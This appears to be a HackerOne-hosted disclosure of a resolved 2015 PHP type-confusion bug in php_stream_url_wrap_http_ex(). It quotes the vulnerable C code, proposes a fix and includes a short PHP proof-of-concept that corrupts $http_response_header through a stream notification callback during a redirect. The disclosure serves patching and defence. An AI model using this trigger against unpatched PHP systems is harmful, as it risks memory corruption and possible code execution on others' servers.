php_stream_url_wrap_http_ex() type-confusion vulnerability

Disclosed: 2015-04-14 00:00:00 By mongo To ibb
Unknown
Vulnerability Details
https://bugs.php.net/bug.php?id=69337 Description: ------------ php_stream_url_wrap_http_ex() creates a $http_response_header array variable in the local execution scope (which may be the global scope). Then it gets a pointer to this variable, and throughout the function's execution accesses it multiple times, assuming that: 1) the variable still exists 1) the variable is indeed an array ext/standard/http_fopen_wrapper.c: if (header_init) { zval *ztmp; MAKE_STD_ZVAL(ztmp); array_init(ztmp); ZEND_SET_SYMBOL(EG(active_symbol_table), "http_response_header", ztmp); } { zval **rh; zend_hash_find(EG(active_symbol_table), "http_response_header", sizeof("http_response_header"), (void **) &rh); response_header = *rh; } ..... ZVAL_STRINGL(http_response, tmp_line, tmp_line_len, 1); zend_hash_next_index_insert(Z_ARRVAL_P(response_header), &http_response, sizeof(zval *), NULL); However, by using the stream notifications feature, an attacker can change the type of the $http_response_header variable before the function has finished executing, resulting in a type-confusion vulnerability, which has been shown several times in the past to lead to arbitrary code execution. There are numerous stream notification codes that can be used for this purpose: - STREAM_NOTIFY_REDIRECTED - STREAM_NOTIFY_AUTH_RESULT - STREAM_NOTIFY_FAILURE And possibly others... The function should probably zval_add_ref() the $http_response_header as soon as its initialized, and then validate its type before every use, rather than assume its still an array. Tested against: - 64-bit PHP 5.5.9-1ubuntu4.7 (cli) - 32-bit PHP 5.5.9-1ubuntu4.7 (cli) - 32/64-bit PHP 5.6.7 (cli) (built: Mar 27 2015 07:04:21) (DEBUG) - custom build with ./configure --enable-debug Test script: --------------- <?php function stream_notification_callback($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max) { if($notification_code == STREAM_NOTIFY_REDIRECTED) { // $http_response_header is now a string, but will be used as an array // by php_stream_url_wrap_http_ex() later on $GLOBALS['http_response_header'] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\0\0\0\0"; } } $ctx = stream_context_create(); stream_context_set_params($ctx, array("notification" => "stream_notification_callback")); file_get_contents("http://php.net/get-involved", false, $ctx); // any url that causes a http redirection ?>
Actions
View on HackerOne
Report Stats
  • Report ID: 73247
  • State: Closed
  • Substate: resolved
  • Upvotes: 3
Share this report